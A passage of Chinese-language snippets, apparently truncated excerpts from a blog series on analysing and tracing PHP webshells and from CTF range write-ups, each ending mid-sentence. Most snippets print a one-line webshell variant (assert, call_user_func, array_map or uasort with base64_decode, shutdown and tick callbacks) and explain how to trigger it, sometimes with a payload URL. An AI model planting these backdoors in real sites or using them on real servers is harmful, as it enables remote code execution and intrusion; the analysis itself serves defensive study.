申请靶场环境后 点开题目 一段奇怪的PHP代码 因为我自己电脑重装了win10系统,php+apache+mysql的环境本地主机觉得没必要弄了,于是我们用在线的PHP编码(百度一下到处都是) 复制进去以":"来排个格式 运行下,报错. 看看源码,"$_"     "$__"     "$___" 这三个是变量名,我们用echo输出下内容 连在一起了,但是可以确定 $_ => 1 $__ => _GET $___…
一.访问链接 二.下载系统源码后直接放到D盾里扫描,扫到后门文件 三.查看该木马文件 <?php error_reporting(0); $_GET['POST']($_POST['GET']);?> 1.error_reporting(0);      关闭错误报告 2.$_GET['POST']($_POST['GET']);     一句话木马,GET传入POST值,再将密码:GET以POST请求方式传到后台 因此构造payload:http://219.153.49.228:41996…
<?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?> assert,是php代码执行函数,与eval()有同样的功能,assert()函数中参数为表达式 (或者为函数) 因为$array[], POST[]都是数组,所以$array[]=$POST,就是把$POST数组的值赋给$array数组 这样的话$array[0]['POST']的输出就是assert,所以组成了一句话木马 &…
WebShell代码分析溯源(一) 一.一句话变形马样本 <?php $_GET['POST']($_POST['GET']);?> 二.代码分析 1.调整代码格式 <?php $_GET['POST']($_POST['GET']); ?> 2.分析代码,首先以GET方法接收url中POST参数传递的值,然后又以POST方法接收GET参数传递的值,因此可以构造payload:http://www.test.com/test.php?POST=assert,这样就相当于一句话木马变…
WebShell代码分析溯源(十一) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];declare(ticks=1);register_tick_function ($e, $_REQUEST['GET']);?> 二.代码分析 1.调整代码格式 2.分析代码 2.1.首先使用REQUEST方法接收url中e参数传递的值, 然后执行declare函数和register_tick_function回调函数.没执行ticks=1行代码,就执行一次register_tic…
WebShell代码分析溯源(十) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];register_shutdown_function($e, $_REQUEST['REQUEST']);?> 二.代码分析 1.调整代码格式 2.分析代码 1.首先使用REQUEST方法接收url中e参数的值,然后使用register_shutdown_function函数, 其实这就是一个回调函数,在上面的代码运行结束后,再去执行. 注: register_shutdown_fun…
WebShell代码分析溯源(九) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['pass'] => '|.*|e',);array_walk($arr, $e, '');?> 二.代码分析 1.调整代码格式 2.分析代码 1.首先使用REQUEST方法接收url中的e参数的值,创建arr数组,然后array_walk对数组$arr中的每个元素应用用户自定义函数$e 注:,array_walk() 函数对数组中的每个元…
WebShell代码分析溯源(八) 一.一句话变形马样本 <?php $e=$_REQUEST['e'];$arr= array('test', $_REQUEST['POST']);uasort($arr, base64_decode($e));?> 二.代码分析 1.调整代码格式 2.分析代码 首先使用REQUEST方法接收url中e参数传递的值,然后创建arr数组并赋值,然后使用uasort排序函数,base64_decode($e)进行解密之后的自定义函数对arr数组进行排序,构造成一…
WebShell代码分析溯源(七) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['POST'],);array_map(base64_decode($e), $arr);?> 二.代码分析 1.调整代码格式 2.分析代码 分析代码,首先使用REQUEST方法接收url中e参数传递的值,然后创建arr数组并把$_POST['POST']赋值给arr数组,然后使用array回调函数将自定义函数x(base64_decode($e…
WebShell代码分析溯源 一.一句话变形马样本 <?php call_user_func('assert', $_REQUEST['assert']); ?> 二.代码分析 1.分析代码 call_user_func('assert', $_REQUEST['assert'])中assert是第一个被调用的函数, 其余参数是回调函数的参数,这样就构成了assert($_REQUEST['assert'])一句话木马 注: call_user_func函数,把第一个参数作为回调函数,其余参数…